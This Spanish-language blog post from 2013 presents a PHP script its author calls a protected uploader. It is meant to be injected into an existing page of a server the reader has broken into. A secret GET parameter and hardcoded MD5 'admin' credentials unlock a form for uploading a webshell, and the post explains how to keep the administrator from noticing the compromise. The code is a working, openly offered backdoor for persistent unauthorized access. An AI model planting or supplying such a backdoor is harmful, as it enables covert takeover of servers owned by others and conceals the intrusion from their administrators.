4 jul 2013

Forma fácil de asegurar nuestro regreso a un hackedhost

Hi everyone!


En mis ratos de gray hat eh estado en situaciones que logro acceder a algún host y simplemente dejo una shell en algún subdirectorio (sin hacer ningún daño ni tampoco reportando ningún bug), pero días después cuando quiero regresar y husmear un poco me topo con que mi shell ya fue removida y pues tendría que volver a ganar acceso oootraveeezz...

Para evitar esto y hacer las cosas un poco mas sencillas me hice un script en php que prácticamente es un uploader protegido por asi decirlo, ya que se debe mandar una variable por get para poder visualizar el campo de login y una vez logeado ya nos da permiso de subir nuestra webshell, obviamente este script es para inyectarlo en alguna pagina propia del servidor y así el administrador no vea archivos agregados.

El chiste seria: ganar acceso al host -> poner el script en alguna pagina, talves en el mismo index.php -> una vez que terminemos de usar nuestra shell, borrarla con la función self-remove
 ..y así cada vez que queramos usar la shell, la subimos, la usamos y la borramos, de esta manera ya es un poco mas seguro de que el administrador no se de cuenta que lo hemos owneado.

code:

<?php 
session_start(); /* cyber-oxyde.blogspot.mx */
$me="21232f297a57a5a743894a0e4a801fc3"; //user en md5 | default: admin 
$password="21232f297a57a5a743894a0e4a801fc3"; //pass en md5 | default: admin 
$getvar="stormdark"; //variable GET para activar el formulario | index.php?$getvar 
$close="close"; // variable para cerrar sesion | index.php?$getvar=$close 
@$user=$_POST[user];
@$pass=$_POST[pass];
function subir() 
{ 
    $shellname="configfile.php"; //nombre al que va a ser renombrada la webshell 
    if(@isset($_FILES[upload])) 
    {
        if(move_uploaded_file($_FILES["upload"]["tmp_name"], $shellname)) 
        { 
            echo "<h5>Archivo <a href='$shellname'>$shellname</a> subido</h5>"; 
        }else
        { 
            echo "<h5>Error al subir archivo</h5>";
        } 
    }else
    { 
        echo ' 
        <form action="" method="post" enctype="multipart/form-data">  
        <input type="file" name="upload"><br> 
        <input type="submit">
        </form>
        '; 
    }
} 
if(isset($_GET[$getvar])) 
{ 
    if(@$_SESSION['logged']=='yes') 
    { 
        subir(); 
    }else
    {
        if(isset($user) && isset($pass))
        { 
            if($me==(md5($user)) && $password==(md5($pass)))
            {
                $_SESSION['logged']='yes';
                subir(); 
            }else
            { 
                echo "<h5>wrong!</h5>"; 
            } 
        }else
        { 
            echo ' 
            <form action="" method="post"> 
            <input type="text" name="user"><br> 
            <input type="text" name="pass"><br>
            <input type="submit" name"submit"> 
            </form>
            '; 
        }
    }
    if($_GET[$getvar]==$close)
    { 
        session_destroy();
        echo "<h5>sesion cerrada</h5>";
    };
}
?> 
Highlighted:  https://github.com/stormdark/BackdoorPHP/blob/master/backdoor.php